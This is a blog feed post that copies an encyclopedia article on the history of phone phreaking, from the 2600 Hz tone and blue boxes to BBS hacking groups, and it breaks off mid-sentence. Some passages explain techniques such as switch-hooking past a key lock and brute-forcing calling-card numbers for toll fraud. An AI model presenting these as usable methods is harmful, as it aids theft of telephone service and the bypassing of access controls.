<?xml version='1.0' encoding='UTF-8'?><?xml-stylesheet href="http://www.blogger.com/styles/atom.css" type="text/css"?><feed xmlns='http://www.w3.org/2005/Atom' xmlns:openSearch='http://a9.com/-/spec/opensearchrss/1.0/' xmlns:georss='http://www.georss.org/georss' xmlns:gd='http://schemas.google.com/g/2005' xmlns:thr='http://purl.org/syndication/thread/1.0'><id>tag:blogger.com,1999:blog-5543184233446097251</id><updated>2011-11-27T15:43:09.974-08:00</updated><title type='text'>Hack2Learn</title><subtitle type='html'></subtitle><link rel='http://schemas.google.com/g/2005#feed' type='application/atom+xml' href='http://hack2learn.blogspot.com/feeds/posts/default'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/5543184233446097251/posts/default?max-results=100'/><link rel='alternate' type='text/html' href='http://hack2learn.blogspot.com/'/><link rel='hub' href='http://pubsubhubbub.appspot.com/'/><author><name>Yazlla91</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='29' src='http://1.bp.blogspot.com/-7d8SoxFJWUQ/TZ63LdCH2kI/AAAAAAAAABo/IyeH6lbyVPA/s220/how-to-hack-a-computer.jpeg'/></author><generator version='7.00' uri='http://www.blogger.com'>Blogger</generator><openSearch:totalResults>9</openSearch:totalResults><openSearch:startIndex>1</openSearch:startIndex><openSearch:itemsPerPage>100</openSearch:itemsPerPage><entry><id>tag:blogger.com,1999:blog-5543184233446097251.post-2694111966421298945</id><published>2011-04-08T02:44:00.001-07:00</published><updated>2011-04-08T02:44:49.466-07:00</updated><title type='text'>Phreaking</title><content type='html'>&lt;i&gt;&lt;b&gt;Phreaking&lt;/b&gt;&lt;/i&gt; is a &lt;a href="http://en.wikipedia.org/wiki/Slang"&gt;slang&lt;/a&gt; term coined to describe the activity of a &lt;a href="http://en.wikipedia.org/wiki/Subculture"&gt;subculture&lt;/a&gt;  of people who study, experiment with, or explore telecommunication  systems, such as equipment and systems connected to public telephone  networks. As telephone networks have become computerized, phreaking has  become closely linked with &lt;a href="http://en.wikipedia.org/wiki/Hacker_%28computer_security%29" title="Hacker (computer security)"&gt;computer hacking&lt;/a&gt;.&lt;sup class="reference" id="cite_ref-0"&gt;&lt;a href="http://en.wikipedia.org/wiki/Phreaking#cite_note-0"&gt;&lt;span&gt;[&lt;/span&gt;1&lt;span&gt;]&lt;/span&gt;&lt;/a&gt;&lt;/sup&gt; This is sometimes called the H/P culture (with &lt;i&gt;H&lt;/i&gt; standing for &lt;i&gt;hacking&lt;/i&gt; and &lt;i&gt;P&lt;/i&gt; standing for &lt;i&gt;phreaking&lt;/i&gt;).&lt;br /&gt;The term &lt;i&gt;phreak&lt;/i&gt; is a &lt;a href="http://en.wikipedia.org/wiki/Portmanteau"&gt;portmanteau&lt;/a&gt; of the words &lt;i&gt;&lt;a href="http://en.wikipedia.org/wiki/Telephone" title="Telephone"&gt;phone&lt;/a&gt;&lt;/i&gt; and &lt;i&gt;&lt;a href="http://en.wikipedia.org/wiki/Freak"&gt;freak&lt;/a&gt;&lt;/i&gt;, and may also refer to the use of various audio &lt;a class="mw-redirect" href="http://en.wikipedia.org/wiki/Frequencies" title="Frequencies"&gt;frequencies&lt;/a&gt; to manipulate a phone system. &lt;i&gt;Phreak&lt;/i&gt;, &lt;i&gt;phreaker&lt;/i&gt;, or &lt;i&gt;phone phreak&lt;/i&gt; are names used for and by individuals who participate in phreaking. A large percentage of the phone Phreaks were blind.&lt;sup class="reference" id="cite_ref-1"&gt;&lt;a href="http://en.wikipedia.org/wiki/Phreaking#cite_note-1"&gt;&lt;span&gt;[&lt;/span&gt;2&lt;span&gt;]&lt;/span&gt;&lt;/a&gt;&lt;/sup&gt;&lt;sup class="reference" id="cite_ref-2"&gt;&lt;a href="http://en.wikipedia.org/wiki/Phreaking#cite_note-2"&gt;&lt;span&gt;[&lt;/span&gt;3&lt;span&gt;]&lt;/span&gt;&lt;/a&gt;&lt;/sup&gt; Because identities were usually masked, an exact percentage cannot be calculated.&lt;br /&gt;&lt;table class="toc" id="toc"&gt;&lt;tbody&gt;&lt;tr&gt; &lt;td&gt; &lt;div id="toctitle"&gt; &lt;h2&gt;Contents&lt;/h2&gt;&lt;span class="toctoggle"&gt;[&lt;a class="internal" href="http://en.wikipedia.org/wiki/Phreaking#" id="togglelink"&gt;hide&lt;/a&gt;]&lt;/span&gt;&lt;/div&gt;&lt;ul&gt;&lt;li class="toclevel-1 tocsection-1"&gt;&lt;a href="http://en.wikipedia.org/wiki/Phreaking#History"&gt;&lt;span class="tocnumber"&gt;1&lt;/span&gt; &lt;span class="toctext"&gt;History&lt;/span&gt;&lt;/a&gt; &lt;ul&gt;&lt;li class="toclevel-2 tocsection-2"&gt;&lt;a href="http://en.wikipedia.org/wiki/Phreaking#Switch_hook_and_tone_dialer"&gt;&lt;span class="tocnumber"&gt;1.1&lt;/span&gt; &lt;span class="toctext"&gt;Switch hook and tone dialer&lt;/span&gt;&lt;/a&gt;&lt;/li&gt;&lt;li class="toclevel-2 tocsection-3"&gt;&lt;a href="http://en.wikipedia.org/wiki/Phreaking#2600_hertz"&gt;&lt;span class="tocnumber"&gt;1.2&lt;/span&gt; &lt;span class="toctext"&gt;2600 hertz&lt;/span&gt;&lt;/a&gt;&lt;/li&gt;&lt;li class="toclevel-2 tocsection-4"&gt;&lt;a href="http://en.wikipedia.org/wiki/Phreaking#Multi_frequency"&gt;&lt;span class="tocnumber"&gt;1.3&lt;/span&gt; &lt;span class="toctext"&gt;Multi frequency&lt;/span&gt;&lt;/a&gt;&lt;/li&gt;&lt;li class="toclevel-2 tocsection-5"&gt;&lt;a href="http://en.wikipedia.org/wiki/Phreaking#Blue_boxes"&gt;&lt;span class="tocnumber"&gt;1.4&lt;/span&gt; &lt;span class="toctext"&gt;Blue boxes&lt;/span&gt;&lt;/a&gt;&lt;/li&gt;&lt;li class="toclevel-2 tocsection-6"&gt;&lt;a href="http://en.wikipedia.org/wiki/Phreaking#Computer_hacking"&gt;&lt;span class="tocnumber"&gt;1.5&lt;/span&gt; &lt;span class="toctext"&gt;Computer hacking&lt;/span&gt;&lt;/a&gt; &lt;ul&gt;&lt;li class="toclevel-3 tocsection-7"&gt;&lt;a href="http://en.wikipedia.org/wiki/Phreaking#Toll_fraud"&gt;&lt;span class="tocnumber"&gt;1.5.1&lt;/span&gt; &lt;span class="toctext"&gt;Toll fraud&lt;/span&gt;&lt;/a&gt;&lt;/li&gt;&lt;/ul&gt;&lt;/li&gt;&lt;li class="toclevel-2 tocsection-8"&gt;&lt;a href="http://en.wikipedia.org/wiki/Phreaking#Diverters"&gt;&lt;span class="tocnumber"&gt;1.6&lt;/span&gt; &lt;span class="toctext"&gt;Diverters&lt;/span&gt;&lt;/a&gt;&lt;/li&gt;&lt;li class="toclevel-2 tocsection-9"&gt;&lt;a href="http://en.wikipedia.org/wiki/Phreaking#Voice_mail_boxes_and_bridges"&gt;&lt;span class="tocnumber"&gt;1.7&lt;/span&gt; &lt;span class="toctext"&gt;Voice mail boxes and bridges&lt;/span&gt;&lt;/a&gt;&lt;/li&gt;&lt;li class="toclevel-2 tocsection-10"&gt;&lt;a href="http://en.wikipedia.org/wiki/Phreaking#Cell_phones"&gt;&lt;span class="tocnumber"&gt;1.8&lt;/span&gt; &lt;span class="toctext"&gt;Cell phones&lt;/span&gt;&lt;/a&gt;&lt;/li&gt;&lt;li class="toclevel-2 tocsection-11"&gt;&lt;a href="http://en.wikipedia.org/wiki/Phreaking#End_of_multi-frequency"&gt;&lt;span class="tocnumber"&gt;1.9&lt;/span&gt; &lt;span class="toctext"&gt;End of multi-frequency&lt;/span&gt;&lt;/a&gt;&lt;/li&gt;&lt;/ul&gt;&lt;/li&gt;&lt;li class="toclevel-1 tocsection-12"&gt;&lt;a href="http://en.wikipedia.org/wiki/Phreaking#2600_Hz"&gt;&lt;span class="tocnumber"&gt;2&lt;/span&gt; &lt;span class="toctext"&gt;2600 Hz&lt;/span&gt;&lt;/a&gt;&lt;/li&gt;&lt;li class="toclevel-1 tocsection-13"&gt;&lt;a href="http://en.wikipedia.org/wiki/Phreaking#Famous_phone_phreaks"&gt;&lt;span class="tocnumber"&gt;3&lt;/span&gt; &lt;span class="toctext"&gt;Famous phone phreaks&lt;/span&gt;&lt;/a&gt;&lt;/li&gt;&lt;li class="toclevel-1 tocsection-14"&gt;&lt;a href="http://en.wikipedia.org/wiki/Phreaking#See_also"&gt;&lt;span class="tocnumber"&gt;4&lt;/span&gt; &lt;span class="toctext"&gt;See also&lt;/span&gt;&lt;/a&gt;&lt;/li&gt;&lt;li class="toclevel-1 tocsection-15"&gt;&lt;a href="http://en.wikipedia.org/wiki/Phreaking#References"&gt;&lt;span class="tocnumber"&gt;5&lt;/span&gt; &lt;span class="toctext"&gt;References&lt;/span&gt;&lt;/a&gt;&lt;/li&gt;&lt;li class="toclevel-1 tocsection-16"&gt;&lt;a href="http://en.wikipedia.org/wiki/Phreaking#External_links"&gt;&lt;span class="tocnumber"&gt;6&lt;/span&gt; &lt;span class="toctext"&gt;External links&lt;/span&gt;&lt;/a&gt;&lt;/li&gt;&lt;/ul&gt;&lt;/td&gt; &lt;/tr&gt;&lt;/tbody&gt;&lt;/table&gt;&lt;h2&gt;&lt;span class="editsection"&gt;[&lt;a href="http://en.wikipedia.org/w/index.php?title=Phreaking&amp;amp;action=edit&amp;amp;section=1" title="Edit section: History"&gt;edit&lt;/a&gt;]&lt;/span&gt; &lt;span class="mw-headline" id="History"&gt;History&lt;/span&gt;&lt;/h2&gt;&lt;h3&gt;&lt;span class="editsection"&gt;[&lt;a href="http://en.wikipedia.org/w/index.php?title=Phreaking&amp;amp;action=edit&amp;amp;section=2" title="Edit section: Switch hook and tone dialer"&gt;edit&lt;/a&gt;]&lt;/span&gt; &lt;span class="mw-headline" id="Switch_hook_and_tone_dialer"&gt;Switch hook and tone dialer&lt;/span&gt;&lt;/h3&gt;Possibly one of the first phreaking methods was switch-hooking. It is considered softcore&lt;sup class="Template-Fact" style="white-space: nowrap;" title="This claim needs references to reliable sources from November 2010"&gt;[&lt;i&gt;&lt;a href="http://en.wikipedia.org/wiki/Wikipedia:Citation_needed" title="Wikipedia:Citation needed"&gt;citation needed&lt;/a&gt;&lt;/i&gt;]&lt;/sup&gt;  because it has almost negligible toll fraud potential. Nevertheless it  allows placing calls from a phone where the rotary dial or keypad has  been disabled by a key lock or other means to prevent unuthorized calls  from that phone. It is done by rapidly pressing and releasing the switch  hook to open and close the subscriber circuit, simulating the pulses  generated by the rotary dial. Even most current telephone exchanges  support this method&lt;sup class="Template-Fact" style="white-space: nowrap;" title="This claim needs references to reliable sources from November 2010"&gt;[&lt;i&gt;&lt;a href="http://en.wikipedia.org/wiki/Wikipedia:Citation_needed" title="Wikipedia:Citation needed"&gt;citation needed&lt;/a&gt;&lt;/i&gt;]&lt;/sup&gt;, as they need to be backward compatible with old subscriber hardware.&lt;br /&gt;By rapidly clicking the hook for a variable number of times at  roughly 5 to 10 clicks per second, and then keeping intervals of roughly  one second, the caller can dial numbers as if they were using the  rotary dial. The pulse counter in the exchange counts the pulses or  clicks and interprets them in two possible ways. Depending on continent  and country, one click with a following interval can be either "one" or  "zero" and subsequent clicks before the interval are additively counted.  This renders ten consecutive clicks being either "zero" or "nine",  respectively. Some exchanges allow using additional clicks for special  controls, but numbers 0-9 now fall in one of these two standards. One  special code, "flash", is a very short single click, possible but hard  to simulate. Back in the day of rotary dial, very often technically  identical phone sets were marketed in multiple areas of the world, only  with plugs matched by country and the dials being bezeled with the local  standard numbers.&lt;br /&gt;Such key-locked telephones, if wired to a modern DTMF capable  exchange, can also be exploited by a tone dialer that generates the DTMF  tones used by modern keypad units. These signals are now very uniformly  standardized worldwide, and along with rotary dialing, they are almost  all that is left of in-band signaling. It is notable that the two  methods can be combined: Even if the exchange does not support DTMF, the  key lock can be circumvented by switch-hooking, and the tone dialer can  be then used to operate automated DTMF controlled services that can't  be used with rotary dial.&lt;br /&gt;&lt;h3&gt;&lt;span class="editsection"&gt;[&lt;a href="http://en.wikipedia.org/w/index.php?title=Phreaking&amp;amp;action=edit&amp;amp;section=3" title="Edit section: 2600 hertz"&gt;edit&lt;/a&gt;]&lt;/span&gt; &lt;span class="mw-headline" id="2600_hertz"&gt;2600 hertz&lt;/span&gt;&lt;/h3&gt;&lt;div class="rellink relarticle mainarticle"&gt;Main article: &lt;a href="http://en.wikipedia.org/wiki/2600_hertz"&gt;2600 hertz&lt;/a&gt;&lt;/div&gt;The precise origins of phone phreaking are unknown, although it is believed&lt;sup class="noprint Inline-Template" style="white-space: nowrap;" title="The material in the vicinity of this tag may use weasel words or too-vague attribution. from November 2008"&gt;[&lt;i&gt;&lt;a class="mw-redirect" href="http://en.wikipedia.org/wiki/Wikipedia:Avoid_weasel_words" title="Wikipedia:Avoid weasel words"&gt;who?&lt;/a&gt;&lt;/i&gt;]&lt;/sup&gt; that phreak-like experimentation began with widespread deployment of automatic &lt;a class="mw-redirect" href="http://en.wikipedia.org/wiki/Telephone_switch" title="Telephone switch"&gt;switches&lt;/a&gt; on the telephone networks. In the United States, &lt;a href="http://en.wikipedia.org/wiki/AT%26T"&gt;AT&amp;amp;T&lt;/a&gt; began introducing automatic switches for long distance and certain forms of &lt;a href="http://en.wikipedia.org/wiki/Trunking"&gt;trunking&lt;/a&gt;  carriers in the mid-to-late 1950s. With the introduction of these  switches, the general population began, for the first time, to interact  with computing power on a large scale. Phreaking can be viewed as an  extension of this, where individuals interested in computers and  technology, yet unable to further that interest for a variety of  reasons, turned to the only available option: the computer controlled  telephone network.&lt;sup class="noprint Inline-Template" style="white-space: nowrap;" title="The material in the vicinity of this tag may be based upon unreliable original research from March 2010"&gt;[&lt;i&gt;&lt;a href="http://en.wikipedia.org/wiki/Wikipedia:No_original_research" title="Wikipedia:No original research"&gt;original research?&lt;/a&gt;&lt;/i&gt;]&lt;/sup&gt;&lt;br /&gt;AT&amp;amp;T's fully automatic switches use &lt;a class="mw-redirect" href="http://en.wikipedia.org/wiki/Tone_dialing" title="Tone dialing"&gt;tone dialing&lt;/a&gt;, a form of &lt;a href="http://en.wikipedia.org/wiki/In-band_signaling"&gt;in-band signaling&lt;/a&gt;, and include some tones which are for internal telephone company use. One internal use tone is a tone of &lt;a class="mw-redirect" href="http://en.wikipedia.org/wiki/2600_Hz" title="2600 Hz"&gt;2600 Hz&lt;/a&gt;  which causes a telephone switch to think the call was over, and could  be exploited to provide free long-distance and international calls.&lt;sup class="reference" id="cite_ref-robson_3-0"&gt;&lt;a href="http://en.wikipedia.org/wiki/Phreaking#cite_note-robson-3"&gt;&lt;span&gt;[&lt;/span&gt;4&lt;span&gt;]&lt;/span&gt;&lt;/a&gt;&lt;/sup&gt;&lt;br /&gt;The tone was discovered in approximately 1957,&lt;sup class="reference" id="cite_ref-robson_3-1"&gt;&lt;a href="http://en.wikipedia.org/wiki/Phreaking#cite_note-robson-3"&gt;&lt;span&gt;[&lt;/span&gt;4&lt;span&gt;]&lt;/span&gt;&lt;/a&gt;&lt;/sup&gt; by &lt;a href="http://en.wikipedia.org/wiki/Joybubbles" title="Joybubbles"&gt;Joe Engressia&lt;/a&gt;, a blind seven-year old boy. Engressia was skilled with &lt;a href="http://en.wikipedia.org/wiki/Absolute_pitch" title="Absolute pitch"&gt;perfect pitch&lt;/a&gt;, and discovered that whistling the &lt;a href="http://en.wikipedia.org/wiki/Piano_key_frequencies" title="Piano key frequencies"&gt;fourth E above middle C&lt;/a&gt;  (a frequency of 2600&amp;nbsp;Hz) would stop a dialed phone recording. Unaware  of what he had done, Engressia called the phone company and asked why  the recordings had stopped. This was the beginning of his love of  exploring the telephone system.&lt;sup class="reference" id="cite_ref-robson_3-2"&gt;&lt;a href="http://en.wikipedia.org/wiki/Phreaking#cite_note-robson-3"&gt;&lt;span&gt;[&lt;/span&gt;4&lt;span&gt;]&lt;/span&gt;&lt;/a&gt;&lt;/sup&gt;&lt;br /&gt;Other early phreaks, such as "Bill from New York", began to develop a  rudimentary understanding of how phone networks worked. Bill discovered  that a &lt;a href="http://en.wikipedia.org/wiki/Recorder"&gt;recorder&lt;/a&gt; he owned could also play the tone at 2600&amp;nbsp;Hz with the same effect. &lt;a href="http://en.wikipedia.org/wiki/John_Draper"&gt;John Draper&lt;/a&gt; discovered through his friendship with Engressia that the free whistles given out in &lt;a href="http://en.wikipedia.org/wiki/Cap%27n_Crunch"&gt;Cap'n Crunch&lt;/a&gt;  cereal boxes also produced a 2600&amp;nbsp;Hz tone when blown (providing his  nickname, "Captain Crunch"). This allowed control of phone systems that  worked on &lt;a class="mw-redirect" href="http://en.wikipedia.org/wiki/Single_frequency" title="Single frequency"&gt;single frequency&lt;/a&gt;  (SF) controls. One could sound a long whistle to reset the line,  followed by groups of whistles (a short tone for a "1", two for a "2",  etc.) to dial numbers.&lt;br /&gt;&lt;h3&gt;&lt;span class="editsection"&gt;[&lt;a href="http://en.wikipedia.org/w/index.php?title=Phreaking&amp;amp;action=edit&amp;amp;section=4" title="Edit section: Multi frequency"&gt;edit&lt;/a&gt;]&lt;/span&gt; &lt;span class="mw-headline" id="Multi_frequency"&gt;Multi frequency&lt;/span&gt;&lt;/h3&gt;&lt;div class="rellink relarticle mainarticle"&gt;Main article: &lt;a class="mw-redirect" href="http://en.wikipedia.org/wiki/Multi-frequency" title="Multi-frequency"&gt;Multi-frequency&lt;/a&gt;&lt;/div&gt;While single frequency worked on certain phone routes, the most common signaling on the then long distance network was &lt;a class="mw-redirect" href="http://en.wikipedia.org/wiki/Multi-frequency" title="Multi-frequency"&gt;multi-frequency&lt;/a&gt;  (MF) controls. The slang term for these tones and their use was "Marty  Freeman." The specific frequencies required were unknown until 1964,  when &lt;a href="http://en.wikipedia.org/wiki/Bell_System" title="Bell System"&gt;Bell Systems&lt;/a&gt; published the information in the &lt;a href="http://en.wikipedia.org/wiki/Bell_System_Technical_Journal"&gt;Bell System Technical Journal&lt;/a&gt;  in an article describing the methods and frequencies used for  interoffice signalling. The journal was intended for the company's  engineers; however, it found its way to various college campuses across  the United States. With this one article, the Bell System accidentally  gave away the "keys to the kingdom," and the intricacies of the phone  system were at the disposal of anyone with a cursory knowledge of  electronics.&lt;sup class="Template-Fact" style="white-space: nowrap;" title="This claim needs references to reliable sources from February 2007"&gt;[&lt;i&gt;&lt;a href="http://en.wikipedia.org/wiki/Wikipedia:Citation_needed" title="Wikipedia:Citation needed"&gt;citation needed&lt;/a&gt;&lt;/i&gt;]&lt;/sup&gt;&lt;br /&gt;The second generation of phreaks arose at this time, including the &lt;a href="http://en.wikipedia.org/wiki/New_York" title="New York"&gt;New Yorkers&lt;/a&gt; "Evan Doorbell", "Ben Decibel" and Neil R. Bell and &lt;a class="mw-redirect" href="http://en.wikipedia.org/wiki/Californians" title="Californians"&gt;Californians&lt;/a&gt;  Mark Bernay, Chris Bernay, and "Alan from Canada". Each conducted their  own independent exploration and experimentation of the telephone  network, initially on an individual basis, and later within groups as  they discovered each other in their travels. "Evan Doorbell," "Ben" and  "Neil" formed a group of phreaks known as Group Bell. Mark Bernay  initiated a similar group named the Mark Bernay Society. Both Mark and  Evan received fame amongst today's phone phreakers for Internet  publication of their collection of telephone exploration recordings.  These recordings, conducted in the 60s, 70s, and early 80s are available  at Mark's website &lt;i&gt;Phone Trips.&lt;/i&gt;&lt;sup class="reference" id="cite_ref-4"&gt;&lt;a href="http://en.wikipedia.org/wiki/Phreaking#cite_note-4"&gt;&lt;span&gt;[&lt;/span&gt;5&lt;span&gt;]&lt;/span&gt;&lt;/a&gt;&lt;/sup&gt;&lt;br /&gt;&lt;h3&gt;&lt;span class="editsection"&gt;[&lt;a href="http://en.wikipedia.org/w/index.php?title=Phreaking&amp;amp;action=edit&amp;amp;section=5" title="Edit section: Blue boxes"&gt;edit&lt;/a&gt;]&lt;/span&gt; &lt;span class="mw-headline" id="Blue_boxes"&gt;Blue boxes&lt;/span&gt;&lt;/h3&gt;&lt;div class="rellink relarticle mainarticle"&gt;Main article: &lt;a href="http://en.wikipedia.org/wiki/Blue_box"&gt;Blue box&lt;/a&gt;&lt;/div&gt;In October 1971, phreaking was introduced to the masses when &lt;a class="mw-redirect" href="http://en.wikipedia.org/wiki/Esquire_Magazine" title="Esquire Magazine"&gt;Esquire Magazine&lt;/a&gt; published a story called "Secrets of the Little Blue Box"&lt;sup class="reference" id="cite_ref-5"&gt;&lt;a href="http://en.wikipedia.org/wiki/Phreaking#cite_note-5"&gt;&lt;span&gt;[&lt;/span&gt;6&lt;span&gt;]&lt;/span&gt;&lt;/a&gt;&lt;/sup&gt; by &lt;a href="http://en.wikipedia.org/wiki/Ron_Rosenbaum"&gt;Ron Rosenbaum&lt;/a&gt;.  This article featured Engressia and John Draper prominently,  synonymising their names with phreaking. The article also attracted the  interest of other soon-to-be phreaks, such as &lt;a href="http://en.wikipedia.org/wiki/Steve_Wozniak"&gt;Steve Wozniak&lt;/a&gt; and &lt;a href="http://en.wikipedia.org/wiki/Steve_Jobs"&gt;Steve Jobs&lt;/a&gt;, who went on to found &lt;a class="mw-redirect" href="http://en.wikipedia.org/wiki/Apple_Computer" title="Apple Computer"&gt;Apple Computer&lt;/a&gt;.&lt;sup class="reference" id="cite_ref-6"&gt;&lt;a href="http://en.wikipedia.org/wiki/Phreaking#cite_note-6"&gt;&lt;span&gt;[&lt;/span&gt;7&lt;span&gt;]&lt;/span&gt;&lt;/a&gt;&lt;/sup&gt;&lt;br /&gt;1971 also saw the beginnings of YIPL (Youth International Party Line), a publication started by &lt;a href="http://en.wikipedia.org/wiki/Abbie_Hoffman"&gt;Abbie Hoffman&lt;/a&gt; and Al Bell to provide information to &lt;a class="mw-redirect" href="http://en.wikipedia.org/wiki/Yippies" title="Yippies"&gt;Yippies&lt;/a&gt;  on how to "beat the man," mostly involving telephones. In 1973, Al Bell  would move YIPL over and start TAP (Technological American Party&lt;sup class="reference" id="cite_ref-7"&gt;&lt;a href="http://en.wikipedia.org/wiki/Phreaking#cite_note-7"&gt;&lt;span&gt;[&lt;/span&gt;8&lt;span&gt;]&lt;/span&gt;&lt;/a&gt;&lt;/sup&gt;).  TAP would develop into a major source for subversive technical  information among phreaks and hackers all over the world. TAP ran from  1973 to 1984, with Al Bell handing over the magazine to "Tom Edison" in  the late 70's. TAP ended publication in 1984 due mostly to a break-in  and arson at Tom Edison's residence in 1983.&lt;sup class="reference" id="cite_ref-8"&gt;&lt;a href="http://en.wikipedia.org/wiki/Phreaking#cite_note-8"&gt;&lt;span&gt;[&lt;/span&gt;9&lt;span&gt;]&lt;/span&gt;&lt;/a&gt;&lt;/sup&gt; Cheshire Catalyst then took over running the magazine for its final (1984) year.&lt;br /&gt;A controversially suppressed article "How to Build a 'Phone Phreaks' box" in &lt;a class="mw-redirect" href="http://en.wikipedia.org/wiki/Ramparts_Magazine" title="Ramparts Magazine"&gt;Ramparts Magazine&lt;/a&gt;  (June, 1972) touched off a firestorm of interest in phreaking. This  article published simple schematic plans of a "black box" used to  receive free long distance phone calls, and included a very short parts  list that could be used to construct one. Bell sued Ramparts which  forced the magazine to pull all copies from shelves, but not before  numerous copies were sold and many regular subscribers received them.&lt;br /&gt;&lt;h3&gt;&lt;span class="editsection"&gt;[&lt;a href="http://en.wikipedia.org/w/index.php?title=Phreaking&amp;amp;action=edit&amp;amp;section=6" title="Edit section: Computer hacking"&gt;edit&lt;/a&gt;]&lt;/span&gt; &lt;span class="mw-headline" id="Computer_hacking"&gt;Computer hacking&lt;/span&gt;&lt;/h3&gt;In the 1980s, the revolution of the &lt;a href="http://en.wikipedia.org/wiki/Personal_computer"&gt;personal computer&lt;/a&gt; and the popularity of computer &lt;a class="mw-redirect" href="http://en.wikipedia.org/wiki/Bulletin_board_systems" title="Bulletin board systems"&gt;bulletin board systems&lt;/a&gt; (accessed via &lt;a href="http://en.wikipedia.org/wiki/Modem"&gt;modem&lt;/a&gt;) created an influx of tech-savvy users. These &lt;a class="mw-redirect" href="http://en.wikipedia.org/wiki/Bulletin_board_systems" title="Bulletin board systems"&gt;BBSes&lt;/a&gt; became popular for computer &lt;a href="http://en.wikipedia.org/wiki/Hacker_%28computer_security%29" title="Hacker (computer security)"&gt;hackers&lt;/a&gt;  and others interested in the technology, and served as a medium for  previously scattered independent phone phreaks to share their  discoveries and experiments. This not only led to unprecedented  collaboration between phone phreaks, but also spread the notion of  phreaking to others who took it upon themselves to study, experiment  with, or exploit the telephone system. This was also at a time when the  telephone company was a popular subject of discussion in the US, as the &lt;a href="http://en.wikipedia.org/wiki/Monopoly"&gt;monopoly&lt;/a&gt; &lt;a href="http://en.wikipedia.org/wiki/AT%26T"&gt;AT&amp;amp;T&lt;/a&gt;  was forced into divestiture. During this time, phreaking lost its label  for being the exploration of the telephone network, and began to focus  more on toll fraud. Computer hackers began to use phreaking methods to  find the telephone numbers for modems belonging to businesses, which  they could later exploit. Groups then formed around the BBS  hacker/phreaking (H/P) community such as the famous &lt;a href="http://en.wikipedia.org/wiki/Masters_of_Deception"&gt;Masters of Deception&lt;/a&gt; (&lt;a class="mw-redirect" href="http://en.wikipedia.org/wiki/Phiber_Optik" title="Phiber Optik"&gt;Phiber Optik&lt;/a&gt;) and &lt;a href="http://en.wikipedia.org/wiki/Legion_of_Doom_%28hacking%29" title="Legion of Doom (hacking)"&gt;Legion of Doom&lt;/a&gt; (&lt;a href="http://en.wikipedia.org/wiki/Erik_Bloodaxe_%28hacker%29" title="Erik Bloodaxe (hacker)"&gt;Erik Bloodaxe&lt;/a&gt;) groups. In 1985 an underground e-zine called &lt;a href="http://en.wikipedia.org/wiki/Phrack"&gt;Phrack&lt;/a&gt;  (a combination of the words Phreak and Hack) began circulation among  BBSes, and focused on hacking, phreaking, and other related  technological subjects.&lt;br /&gt;In the early 1990s H/P groups like Masters of Deception and Legion of Doom were shut down by the &lt;a class="mw-redirect" href="http://en.wikipedia.org/wiki/US_Secret_Service" title="US Secret Service"&gt;US Secret Service&lt;/a&gt;'s &lt;a href="http://en.wikipedia.org/wiki/Operation_Sundevil"&gt;Operation Sundevil&lt;/a&gt;. Phreaking as a subculture saw a brief dispersion in fear of criminal prosecution in the 1990s, before the popularity of the &lt;a href="http://en.wikipedia.org/wiki/Internet"&gt;internet&lt;/a&gt; initiated a reemergence of phreaking as a subculture in the US and spread phreaking to international levels.&lt;br /&gt;Into the turn of the 21st century, phreaks began to focus on the  exploration and playing with the network, and the concept of toll fraud  became widely frowned on among serious phreakers, primarily under the  influence of the website Phone Trips, put up by second generation  phreaks &lt;a class="new" href="http://en.wikipedia.org/w/index.php?title=Mark_Bernay&amp;amp;action=edit&amp;amp;redlink=1" title="Mark Bernay (page does not exist)"&gt;Mark Bernay&lt;/a&gt; and &lt;a class="new" href="http://en.wikipedia.org/w/index.php?title=Evan_Doorbell&amp;amp;action=edit&amp;amp;redlink=1" title="Evan Doorbell (page does not exist)"&gt;Evan Doorbell&lt;/a&gt;.&lt;br /&gt;&lt;h4&gt;&lt;span class="editsection"&gt;[&lt;a href="http://en.wikipedia.org/w/index.php?title=Phreaking&amp;amp;action=edit&amp;amp;section=7" title="Edit section: Toll fraud"&gt;edit&lt;/a&gt;]&lt;/span&gt; &lt;span class="mw-headline" id="Toll_fraud"&gt;Toll fraud&lt;/span&gt;&lt;/h4&gt;The &lt;a href="http://en.wikipedia.org/wiki/Bell_System_divestiture" title="Bell System divestiture"&gt;1984 AT&amp;amp;T breakup&lt;/a&gt; gave rise to many small companies intent upon competing in the long distance market. These included the then-fledgling &lt;a href="http://en.wikipedia.org/wiki/Sprint_Nextel" title="Sprint Nextel"&gt;Sprint&lt;/a&gt; and &lt;a href="http://en.wikipedia.org/wiki/MCI_Inc." title="MCI Inc."&gt;MCI&lt;/a&gt;,  both of whom had only recently entered the marketplace. At the time,  there was no way to switch a phone line to have calls automatically  carried by non-AT&amp;amp;T companies. Customers of these small long  distance operations would be required to dial a local access number,  enter their calling card number, and finally enter the area code and  phone number they wish to call. Because of the relatively lengthy  process for customers to complete a call, the companies kept the calling  card numbers short – usually 6 or 7 digits. This opened up a huge  vulnerability to phone phreaks with a computer.&lt;br /&gt;6-digit calling card numbers only offer 1 million combinations.  7-digit numbers offer just 10 million. If a company had 10,000  customers, a person attempting to "guess" a card number would have a  good chance of doing so correctly once every 100 tries for a 6-digit  card and once every 1000 tries for a 7-digit card. While this is almost  easy enough for people to do manually, computers made the task far  easier. "Code hack" programs were developed for computers with modems.  The modems would dial the long distance access number, enter a random  calling card number (of the proper number of digits), and attempt to  complete a call to a computer bulletin board system (BBS). If the  computer connected successfully to the BBS, it proved that it had found a  working card number, and it saved that number to disk. If it did not  connect to the BBS in a specified amount of time (usually 30 or 60  seconds), it would hang up and try a different code. Using this  methodology, code hacking programs would turn up hundreds (or in some  cases thousands) of working calling card numbers per day. These would  subsequently be shared amongst fellow phreakers.&lt;br /&gt;There was no way for these small phone companies to identify the  culprits of these hacks. They had no access to local phone company  records of calls into their access numbers, and even if they had access,  obtaining such records would be prohibitively expensive and  time-consuming. While there was some advancement in tracking down these  code hackers in the early 1990s, the problem did not completely  disappear until most long distance companies were able to offer standard  1+ dialing without the use of an access number.&lt;br /&gt;&lt;h3&gt;&lt;span class="editsection"&gt;[&lt;a href="http://en.wikipedia.org/w/index.php?title=Phreaking&amp;amp;action=edit&amp;amp;section=8" title="Edit section: Diverters"&gt;edit&lt;/a&gt;]&lt;/span&gt; &lt;span class="mw-headline" id="Diverters"&gt;Diverters&lt;/span&gt;&lt;/h3&gt;Another method of obtaining free phone calls involved the use of  so-called "diverters". Call forwarding was not an available feature for  many business phone lines in the 1980s and early 1990s, so they were  forced to buy equipment that could do the job manually between two phone  lines. When the business would close, they would program the call  diverting equipment to answer all 